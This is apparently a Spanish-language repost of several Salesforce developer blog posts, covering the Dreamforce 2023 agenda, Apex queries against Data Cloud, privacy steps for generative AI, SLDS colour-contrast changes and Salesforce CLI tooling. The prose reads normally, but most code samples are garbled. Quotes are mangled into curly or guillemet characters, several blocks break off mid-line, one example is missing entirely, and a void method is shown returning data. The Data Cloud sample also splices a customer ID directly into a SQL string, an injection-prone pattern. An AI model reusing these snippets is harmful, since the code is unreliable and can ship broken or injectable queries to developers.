Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!
Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.
❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .
Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.
📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
❗ Añade la keynote a tu agenda
Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!
📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda
Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.
📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda
Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.
¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .
¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.
Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.
¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:
Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .
Añadir a holgura Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de múltiples sistemas en una única instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para análisis, aprendizaje automático y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientación sobre cómo utilizarlas de manera efectiva.
Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario estándar de Data Cloud, o que los ISV construyan su propio código para automatizar operaciones específicas de Data Cloud, como la resolución de identidades, la creación y ejecución de conocimientos calculados de Data Cloud o la segmentación.
Antes de analizar cómo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y cómo difieren con respecto a los objetos estándar/personalizados de Salesforce Platform.
Salesforce Data Cloud tiene un modelo de datos canónico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de cómo estos objetos se asignan entre sí y sus propósitos en la documentación de ayuda.
Los objetos de Data Cloud pueden ingerir y almacenar volúmenes de datos mucho más grandes (en la magnitud de miles de millones de registros) en comparación con los objetos estándar y personalizados regulares en la Plataforma de Salesforce. Los objetos estándar/personalizados están diseñados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .
Otra distinción clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, aún puede lograr la automatización de procesos suscribiéndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es común entre los objetos de la nube de datos y los objetos de la plataforma es que están construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de características de la plataforma, como Salesforce Flow, Apex y Platform Events.
Antes de profundizar en algún código, exploremos un ejemplo de caso de uso de una aplicación de nube de datos.
Para nuestros ejemplos de código en esta publicación de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar análisis, utilizar técnicas de aprendizaje automático y obtener información procesable de los datos.
El código de Apex en esta publicación asume una condición importante: la nube de datos está habilitada y el código de Apex se ejecuta en la organización de la nube de datos y no en las organizaciones de Salesforce que están conectadas a la organización de la nube de datos.
Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery
(ver documentos ) en Apex. Esta clase está disponible en el espacio de nombres ConnectApi
(ver documentos ).
A continuación se muestra un fragmento de código de ejemplo que muestra cómo acceder a los datos de un objeto de nube de datos mediante una instrucción SQL.
<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = » + customerId + » ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } «>
En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una página Lightning de caso de objeto estándar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.
customerId
, lo que indica que recupera los datos del panel solar para un cliente específicoConnectApi.CdpQueryInput
llamada queryInput
para definir la operación de consulta.queryInput.sql
se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm
, filtrado por CustomerId__c
ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput)
, que devuelve un objeto ConnectApi.CdpQueryOutputV2
denominado response
response.metadata
se asigna a responseMetadata
, que almacena los metadatos de la respuesta de la consulta.recordId
con el que está trabajando) para limitar la cantidad de filas y evitar alcanzar el límite de CPU de 10 segundos.queryAnsiSqlV2
(consulte los documentos ) en lugar de queryAnsiSql
para aprovechar las solicitudes posteriores y los tamaños de respuesta más grandes para casos de uso en los que necesita extraer grandes volúmenes de datos.nextBatchAnsiSqlV2(nextBatchId)
(ver documentos ) para proporcionar batchId
de la respuesta anterior para recuperar el siguiente conjunto de resultados.Antes de analizar cómo buscar información de perfil de Data Cloud en Apex, debemos comprender qué es un perfil unificado.
Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene información diferente sobre ella, como diferentes direcciones de correo electrónico. Estos datos únicos se denominan puntos de contacto . Los clientes como Martha están representados por múltiples registros de contacto y perfiles específicos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.
Data Cloud proporciona una función de resolución de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentación y activaciones en varios otros sistemas.
A continuación se muestra un código Apex de utilidad de ejemplo que busca información de perfil. Tenga en cuenta que se utiliza el método queryProfileApi
de la clase ConnectApi.CdpQuery
.
<dx-code-block title language="apex" code-block=" @AuraEnabled public static List
Aquí hay un fragmento de código de ejemplo que invoca el código de utilidad anterior al pasar los parámetros.
<dx-code-block title language="apex" code-block=" List
El código busca la información de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm
.
ConnectApi.CdpQuery.queryProfileApi()
para ejecutar la consulta de datos de perfil en la nube de datosdataModelName
), el objeto del modelo de datos secundario ( childDataModelName
), el campo de clave de búsqueda ( searchKey
) y el nombre del cliente ( customerName
)ConnectApi.CdpQueryOutput
llamado response
response.data
, que representa los datos recuperados de la consultaLos conocimientos calculados le permiten definir y calcular métricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera información calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.
Hay dos tipos de información en Data Cloud: transmisión e información calculada.
Los conocimientos calculados son funciones que pueden calcular métricas en datos históricos. Se procesan en lotes. Por ejemplo, en nuestra aplicación Solar Circles, podemos tener una visión calculada que mide la potencia total generada por los paneles agrupados por cada cliente.
La información de transmisión se genera casi en tiempo real mediante el análisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activación inmediata de acciones en los sistemas posteriores. Por ejemplo, la información de transmisión se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia mínima. Al aprovechar una acción de datos en la transmisión de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.
Para consultar datos de las perspectivas calculadas, use el método queryCalculatedInsights
de la clase CdpQuery
. A continuación se muestra un fragmento de código de ejemplo que muestra cómo consultar datos de una perspectiva calculada conocida.
queryCalculatedInsights
de ConnectApi.CdpQuery
se usa para recuperar información calculada de Data Cloud.__cio
. Por ejemplo, <calculted insight api name>
podría reemplazarse por totalpowergenerated__cio
.null
para estos parámetros incluye todas las dimensiones y medidas disponibles.null
.ConnectApi.CdpQueryOutput
denominado response
.En esta publicación de blog, brindamos una descripción general de cómo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de código y los puntos destacados demuestran enfoques prácticos para acceder y consultar datos de objetos de Data Cloud.
La publicación también destaca las mejores prácticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los límites de la CPU, utilizar el procesamiento asincrónico para grandes conjuntos de datos y garantizar la denominación correcta de la API para los conocimientos calculados.
En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight
(consulte los documentos ), CdpIdentityResolution
(consulte los documentos ) y CdpSegment
(consulte los documentos ) que se pueden usar para administrar información calculada, crear reglas de resolución de identidad y segmentación en Data Cloud mediante Apex.
Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13 .
Agregar a Slack Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
La IA generativa se ha convertido en el factor de cambio para las empresas innovadoras y orientadas al cliente. Impulsada por algoritmos avanzados y aprendizaje automático, la IA generativa puede impulsar la innovación, optimizar los procesos y acelerar las empresas en todas partes al proporcionar experiencias y soluciones personalizadas adaptadas a las necesidades únicas de los clientes.
Igualmente importante para las experiencias poderosas dirigidas por el cliente es la protección de los datos críticos para el negocio. Los sistemas de IA procesan y generan contenido basado en grandes conjuntos de datos y, lamentablemente, los modelos de lenguaje extenso (LLM) no están poniendo su negocio en primer lugar. Mientras se prepara para implementar capacidades de IA generativa, es fundamental priorizar la privacidad de los datos. Al implementar medidas sólidas de protección de datos, no solo mantiene el cumplimiento de las regulaciones pertinentes, sino que también mantiene la confianza del cliente, su activo más valioso.
Con los cinco pasos que se describen a continuación, puede innovar rápidamente, aumentar la productividad y mejorar las experiencias personalizadas, al mismo tiempo que garantiza la seguridad y la privacidad de los datos de sus clientes.
Para asegurarse de tener las protecciones de seguridad, privacidad y gobernanza correctas, querrá comprender qué datos usará para crear avisos, plantillas y modelos de capacitación. Comprender los datos a los que permite que accedan los modelos de IA ayudará a evitar que se compartan inadvertidamente los datos personales o confidenciales de los clientes.
Entonces, ¿cómo empezar? Primero, anonimice y agregue los datos de los clientes antes de usarlos con fines de IA generativa. Elimine la información de identificación personal (PII) y cualquier otro dato confidencial que pueda identificar a las personas.
Una manera fácil de hacer esto en Salesforce es usar Data Detect , un producto que le permite revisar objetos y campos antes de permitir que los procesos de IA accedan a ellos para recibir indicaciones y capacitación. Una vez que los datos se han escaneado a través de Data Detect, puede confirmar que no hay sorpresas en esos datos, como números de tarjetas de crédito o direcciones de correo electrónico en campos donde ese tipo de datos no debería existir.
Data Detect también puede ayudar a recomendar un nivel de clasificación, como "Confidencial" o "PII" para datos personales, y proporcionar detalles sobre el contenido de un objeto, así como encontrar datos confidenciales generados por chatbots, casos y transcripciones de llamadas registradas automáticamente. por IA.
Respetar la privacidad del cliente y proteger los datos a lo largo de sus procesos de IA es crucial para establecer y mantener la confianza. A medida que confía más en la IA para comprender y tomar decisiones a partir de sus datos, ¿cómo protege también esos datos, especialmente la PII?
Para los procesos de IA que usan datos personales, como aumentar los registros de contacto u orquestar ofertas de marketing dinámicas 1:1, querrá desarrollar políticas de uso de datos claras y transparentes que describan cómo se manejarán los datos de los clientes, incluido su uso en sistemas de IA generativos. . Comunique estas políticas a sus clientes y bríndeles la oportunidad de optar por no participar o elegir el nivel adecuado de uso de datos. Además, cree una política para eliminar y ofuscar los datos que ya no son útiles o relevantes, para que sus clientes permanezcan protegidos y sus procesos de IA generativa permanezcan precisos.
Centro de privacidad puede ayudar a verificar que sus procesos de IA estén autorizados para su uso en capacitación y avisos. El Centro de privacidad también puede ayudarlo a crear políticas de retención para administrar el ciclo de vida de los datos utilizados y generados por la IA, incluidas las transcripciones de llamadas, los chatbots y los casos registrados automáticamente por la IA.
Tanto para proteger los datos utilizados en los procesos de IA como para confirmar que sus integraciones se mantienen dentro de los límites de los datos que desea utilizar, deberá implementar controles para proteger los datos de los clientes frente a accesos no autorizados o infracciones.
Los controles de acceso le permiten restringir el acceso a los datos del cliente solo al personal autorizado. Al otorgar acceso según sea necesario, reduce el riesgo de que los modelos de IA y las personas no autorizadas accedan a datos confidenciales. Esto protege contra el posible uso indebido de esos datos al tiempo que garantiza la privacidad del cliente.
Security Center puede ayudarlo a administrar de manera centralizada los permisos de usuario y las configuraciones de la organización para los datos que se usan y se obtienen de los procesos de IA.
Ahora preparémonos para implementar la IA de manera segura en toda su organización.
Las pruebas en un entorno de espacio aislado son primordiales cuando se trata de IA generativa. Esto tiene dos propósitos fundamentales: probar los procesos de IA y capacitar a los empleados sobre el uso seguro y responsable de la IA generativa. Al realizar pruebas exhaustivas en un entorno de espacio aislado controlado, las organizaciones pueden evaluar y refinar el rendimiento y el comportamiento de sus modelos generativos de IA antes de implementarlos en escenarios del mundo real. Las pruebas permiten la identificación y mitigación de posibles problemas, como sesgos, errores o consecuencias no deseadas que pueden surgir durante un proceso de IA generativa.
Además, un entorno de sandbox proporciona un espacio seguro para que los empleados adquieran experiencia práctica y capacitación en el uso de herramientas y sistemas de IA generativa. Les permite explorar capacidades e identificar consideraciones éticas mientras toman decisiones informadas al usar la tecnología de manera responsable en sus operaciones diarias. Al aprovechar las pruebas de sandbox, las organizaciones pueden garantizar la confiabilidad, la eficacia y la aplicación ética de la IA generativa al tiempo que capacitan a su fuerza laboral para adoptar y utilizar esta tecnología transformadora con confianza.
Asegúrese de que, cuando utilice un espacio aislado para el entrenamiento de IA, haya eliminado todos los datos personales para crear sus indicaciones o entrenar un modelo de IA; puede eliminar u ofuscar fácilmente cualquier dato que no deba incluirse con Data Mask .
Garantizar que la integración de IA no acceda a los datos ni modifique los sistemas más allá del alcance previsto es crucial para mantener la seguridad de los datos y la integridad del sistema. Como describimos anteriormente, los controles de acceso y los permisos de los usuarios deben definirse cuidadosamente, otorgando a los sistemas de IA solo los privilegios necesarios y limitando su acceso a fuentes o sistemas de datos específicos. Además, se deben realizar pruebas y validaciones exhaustivas de la integración de la IA para verificar que funcione según lo previsto y que no tenga consecuencias ni vulnerabilidades no deseadas.
Finalmente, implementar mecanismos de monitoreo robustos puede ayudar a detectar y alertar cualquier intento de acceso no autorizado o comportamiento anormal por parte del sistema de IA. Las auditorías y revisiones periódicas de los procesos de integración de IA y los registros de acceso pueden ayudar a identificar cualquier desviación o posibles riesgos de seguridad.
Event Monitoring ayuda a que el proceso de monitoreo y detección sea más fácil al permitir la configuración de capacidades, como la seguridad de transacciones, para enviar alertas o bloquear acciones más allá de lo que se pretendía inicialmente para su proceso de IA.
Finalmente, a medida que se adentra más en su viaje de IA, es fundamental que sus datos estén respaldados y puedan restaurarse hasta el nivel de registro en el caso poco probable de que los datos utilizados y aumentados por IA estén mal configurados o sincronizados incorrectamente. Haga una copia de seguridad de sus datos para ver cada versión de los registros utilizados y tocados por AI, y restaure cualquier error.
Al adoptar un enfoque que prioriza la privacidad e implementar medidas sólidas de protección de datos, puede crear una base confiable para prácticas de IA generativas responsables, sostenibles y éticas, todo mientras impulsa una innovación más eficiente y efectiva e interacciones más personalizadas con los clientes. Para obtener más información sobre cómo comenzar con la IA generativa, consulte nuestra Guía de introducción a la IA.
Marla Hay Vicepresidenta de Seguridad, Privacidad y Gestión de Datos en Salesforce y dirige la organización de productos de Servicios de confianza. Se unió a Salesforce en 2017 después de liderar productos en una empresa de gestión de identidad de consumidores. Marla tiene una licenciatura en Ciencias de la Computación de la Universidad de Cornell y una maestría en Ciencias de la Computación de la Universidad Johns Hopkins.
Agregar a Slack Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
En 2023, Salesforce planea actualizar los colores en nuestra interfaz de usuario de iluminación para que sean más accesibles para las personas con baja visión y para cumplir con las Pautas de accesibilidad de contenido web (WCAG) para el contraste de color que no es de texto y el contraste de color de texto. WCAG es un estándar de accesibilidad moderno requerido por numerosos órganos de gobierno de todo el mundo.
Para hacer esto, actualizaremos las plataformas en las que se crea nuestra interfaz de usuario Lightning: Salesforce Lightning Design System (SLDS) y Base Lightning Components (ambas versiones, Aura y Lightning Web Component). En estas plataformas, actualizaremos componentes, tokens de diseño, ganchos de estilo e íconos. Estos cambios no solo aparecerán en los productos de Salesforce, como Sales Cloud y Service Cloud, sino que también aparecerán en cualquier interfaz de usuario personalizada que haya creado con SLDS o Base Lightning Components.
Para obtener más detalles y ejemplos visuales de las actualizaciones, eche un vistazo a las publicaciones del blog de administración y noticias de Salesforce.
Con los colores actuales en Salesforce, los usuarios con problemas de visión tienen dificultades para reconocer los elementos clave de la interfaz de usuario, lo que no solo los frustra, sino que también les impide adoptar Salesforce. Además, Salesforce y sus clientes enfrentan problemas de cumplimiento clave debido a que un número cada vez mayor de gobiernos en todo el mundo, incluida la Unión Europea (UE) , requieren contraste de color de acuerdo con WCAG 2.1 . WCAG 2.1 ha requerido que los sitios web de las empresas usen texto que cumpla con un contraste de color de 4.5: 1 de su fondo y elementos funcionales que no sean texto que cumplan con un contraste de color de 3: 1 . Aumentar nuestro contraste de color para cumplir con estos estándares nos permitirá brindar una mejor experiencia a los usuarios con baja visión y permitirá a las empresas que usan nuestros productos evitar fuertes multas por accesibilidad.
Todos los íconos se actualizarán como parte del lanzamiento de Summer '23. Las páginas de inicio de registros seleccionados, incluidos los LWC incrustados en las páginas, se actualizarán como parte del lanzamiento de Summer '23. Todas las demás páginas, SLDS y los componentes básicos de Lightning se actualizarán como parte de la versión Winter '24.
Si descargó íconos de Salesforce y seleccionó íconos específicos para usarlos como recursos estáticos, asegúrese de actualizarlos con los nuevos íconos . Si está utilizando nuestro paquete SLDS NPM , actualice ese paquete a la última versión para ver los cambios. Si tiene páginas personalizadas desarrolladas con SLDS, vea cuáles de los siguientes escenarios se aplican a su base de código y realice los cambios correspondientes.
Utiliza un componente Lightning sin anulaciones adicionales. Su código podría verse como el Ejemplo 1 a continuación.
<dx-code-block title language="html" code-block="
Save
«>
Utiliza un componente personalizado que implementa un modelo SLDS y solo usa clases SLDS para diseñar. Su código podría verse como el Ejemplo 2 a continuación.
<dx-code-block title language="html" code-block="
«>
Similar a 2. Componente personalizado con modelo SLDS , pero en este caso, usa un componente personalizado que implementa parcialmente un modelo SLDS o usa más clases de SLDS para diseñar. Su código podría verse como el Ejemplo 3 a continuación.
--slds
para cualquier valor de color codificado. Si el valor de color codificado no tiene una coincidencia exacta en términos de ganchos de estilo, querrá considerar usar el gancho de estilo más parecido.<dx-code-block title language="html" code-block="
«><dx-code-block title language="css" code-block="/* CSS */
.my-class { color: #ccc;
En este caso, la clase de CSS personalizada .my-class
anula un valor de .slds-button_neutral
. Este valor no solo debe actualizarse para tener un mejor contraste, sino que toda la implementación también sería más fácil de mantener si se reemplazara con un componente base Lightning y luego se usara el enlace de estilo --slds-c-button-text-color
para hacer una anulación accesible.
Nota: Si no existe un gancho de estilo para el valor codificado, recomendamos usar el gancho de estilo más cercano disponible.
<dx-code-block title language="html" code-block="
Save
«>
Está usando un componente personalizado que usa directamente tokens SLDS dentro de CSS personalizado o usa clases SLDS en el marcado. Su código podría verse como el Ejemplo 4 a continuación.
<dx-code-block title language="html" code-block="
«>
En este ejemplo, el token t(colorBorder)
está diseñado para bordes decorativos como tarjetas y divisores. Debe reemplazarse con un gancho de estilo que esté alineado con el plano del botón SLDS.
Está usando un componente personalizado que usa tokens personalizados. Su código podría verse como el Ejemplo 5 a continuación.
Recomendamos reemplazar tokens personalizados con ganchos de estilo SLDS cuando sea posible. Cuando use ganchos de estilo, asegúrese de usar ganchos que tengan el contexto semántico correcto. Por ejemplo, un gancho como --slds-g-color-border-base-1
solo debe usarse para bordes. Esto ayudará a garantizar que su producto siga siendo coherente con el estilo de Salesforce a medida que se produzcan futuras actualizaciones de color.
Si debe mantener su token personalizado por cualquier motivo, vuelva a verificar que su token personalizado no haya experimentado ninguna regresión visual.
<dx-code-block title language="html" code-block="
«><dx-code-block title language="html" code-block="
«>
En este ejemplo, el token t(myBackgroundColor)
usa un valor de color desactualizado de SLDS. El lenguaje visual Lightning actual ya no usa este color. El token personalizado debe reemplazarse con el color más parecido de la lista de ganchos de estilo. En este ejemplo, —slds-g-color-neutral-base-95: #f3f3f3
es el gancho de estilo SLDS más parecido.
Está usando un componente personalizado que usa un valor de color codificado como #444
o rgb(68,68,68)
. Su código podría parecerse al Ejemplo 3 anterior.
--slds-g-color-border-base-1
solo debe usarse como el color del borde de los elementos del formulario. Si desea mantener su valor de color codificado, verifique que estos colores no hayan experimentado ninguna regresión visual.--lwc
Está utilizando un componente Lightning o Aura base y está anulando un token --lwc
para personalizar el estilo de uno o más componentes. Su código podría verse como el Ejemplo 7.
NOTA: Esta no es una forma recomendada de personalizar componentes y no hay garantía de que las personalizaciones realizadas de esta manera continúen funcionando.
--lwc
tokens para cualquiera de estos componentes .
--lwc
que se anula con el enlace de estilo actualizado --slds
introducido.<dx-code-block title language="html" code-block="
«>
En este ejemplo, al anular —lwc-colorBorder
a rojo, todos los bordes de los botones se vuelven rojos. El equipo de SLDS actualizó esta variante de componente para usar un enlace de estilo global, por lo que esta anulación dejará de funcionar. En este caso, simplemente use --slds-g-color-border-base-4
en el ámbito del selector para anular el color del borde.
--lwc
con ganchos de estilo globales.--slds-g-color-border-base-4
o --slds-g-color-neutral-base-50
. Se recomienda usar --slds-g-color-border-base-4
para el contexto de estilo CSS de "border" en lugar de --slds-g-color-neutral-base-50
.var(..)
y coloque valores de color codificados como respaldo en caso de que un navegador heredado no pueda leer el enlace de estilo o el token de diseño. Esto es opcional.
background: var(—slds-g-color-neutral-base-50, #747474);
Timothy Yeh es Gerente de Producto para Sistemas de Diseño en Salesforce, enfocado en ayudar a los clientes a construir una interfaz de usuario de mayor calidad más rápido al proporcionar sistemas sólidos de patrones.
Agregar a Slack Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Tanto si es un nuevo desarrollador que acaba de empezar su carrera en el ecosistema de Salesforce como si es un desarrollador experimentado de Salesforce que aún no se ha cambiado a nuestras nuevas herramientas para desarrolladores, esta serie de publicaciones de blog es para usted. Le mostraremos cómo configurar y utilizar las herramientas que pueden ayudar a todos los desarrolladores de Salesforce a ser mucho más productivos y felices.
En la Parte 1 de esta serie , discutimos cómo obtener una organización gratuita para el desarrollo y cómo instalar las herramientas de desarrollo que todo desarrollador de Salesforce debería usar hoy. Le mostramos cómo crear un proyecto y autorizarlo con su organización y, finalmente, cómo implementar metadatos mediante la CLI de Salesforce o VS Code. En esta segunda publicación de blog, aprenderá cómo recuperar metadatos, trabajar con organizaciones con seguimiento de origen y usar bibliotecas de Node para cuidar la calidad de su código. Además, compartiremos otras gemas ocultas de las extensiones de Salesforce para VS Code. ¡Vamos a sumergirnos en él!
Un pilar del desarrollo de Salesforce es ser eficiente sin reinventar la rueda. Es por eso que hay muchas herramientas de código bajo disponibles que le permiten crear y modificar metadatos directamente en su organización con solo hacer clic. Es posible que vea estas herramientas a las que se hace referencia como herramientas de "apuntar y hacer clic" o herramientas "declarativas". Algunos metadatos típicos que crea con clics son páginas, aplicaciones y flujos.
Estos metadatos son algo que puede recuperar en su proyecto local y continuar ampliándolos con código si es necesario. De hecho, la mejor práctica es recuperar los metadatos de su organización y almacenarlos en un sistema de control de versiones como Git. Pero dejemos este tema para otra entrada del blog.
Si crea o modifica metadatos con clics en su organización y conoce el nombre del tipo de metadatos que desea recuperar, puede hacerlo ejecutando este comando:
sf project retrieve start -m FlexiPage
Los nombres de los tipos de metadatos pueden no ser obvios al principio. Afortunadamente, hay algo muy bueno que puede usar para ver todos los metadatos que existen en su organización y recuperar lo que necesita: Org Browser. El navegador de la organización se agrega a VS Code gracias a las extensiones de Salesforce para VS Code. Ábralo haciendo clic en el ícono de la nube en el panel lateral izquierdo de VS Code, busque los metadatos que necesita y simplemente haga clic en recuperar.
Puede encontrar una lista completa de nombres de tipos de metadatos en la Guía para desarrolladores de la API de metadatos .
Una última opción: si los metadatos ya existen en su proyecto local y desea recuperar una versión actualizada, puede hacer clic con el botón derecho en el archivo y seleccionar Retrieve Source from Org
.
Un requisito común para las organizaciones existentes será recuperar todos los metadatos de la organización por primera vez y almacenarlos en el proyecto local (y, por lo general, en un sistema de control de versiones). Este es un tema más avanzado, pero si quieres aprender cómo hacerlo, te recomiendo ver este video Quick Take .
En esta publicación de blog, nos hemos centrado en las organizaciones que no tienen activado el seguimiento de fuentes. Esta es la opción predeterminada para las organizaciones y sandboxes de desarrolladores, aunque, en los sandboxes de desarrolladores, se puede activar el seguimiento de origen. Existe otro tipo de organización, denominada organización borrador, que tiene activado el seguimiento de origen de forma predeterminada.
La principal diferencia con las organizaciones con seguimiento de origen, con respecto a la implementación y recuperación de código, es que los cambios de metadatos se rastrean automáticamente. Eso significa que puede simplificar los comandos de implementación y recuperación, simplemente escribiendo:
sf project deploy start
o
sf project retrieve start
La CLI detectará automáticamente todo lo que haya cambiado en su organización o en su proyecto local y lo implementará o recuperará en consecuencia. Este es un cambio de juego para los desarrolladores, ya que no tener que especificar los metadatos o la carpeta para recuperar o implementar lo convierte en un desarrollador mucho más productivo. Lea la documentación para comenzar con el seguimiento de fuentes en Sandboxes u organizaciones Scratch .
Cuando genera un proyecto, también contendrá un archivo package.json
. Este archivo define el proyecto como un proyecto de Node.js. La CLI de Salesforce y la Extensión de Salesforce para su IDE estructuran el proyecto de esta manera, para que pueda ejecutar secuencias de comandos que cuidan la calidad de su código. Los scripts usan bibliotecas que se definen en la sección devDependencies
de package.json
y deben descargarse en su proyecto local ejecutando el comando npm install
. Ninguna de las bibliotecas de Node se implementará en su organización, solo se usarán en su máquina local.
Aquí hay un resumen de lo que hacen las bibliotecas:
El punto de entrada para usar las bibliotecas son los scripts definidos en la sección scripts
.
Los scripts se pueden ejecutar localmente, bajo demanda y de forma automatizada. Por lo general, estos scripts se ejecutan automáticamente antes de enviar su código a un repositorio de código al fusionar su código con código desarrollado por otros, o al mover cambios entre entornos en su canalización. Esto garantiza que el código tenga la calidad esperada y que su funcionalidad no se rompa. Este concepto se conoce como integración continua, y puede ver un buen video de codeLive al respecto.
El uso de estas bibliotecas no es obligatorio, pero recomendamos encarecidamente hacerlo. Para saber más sobre este tema, lee nuestra entrada de blog .
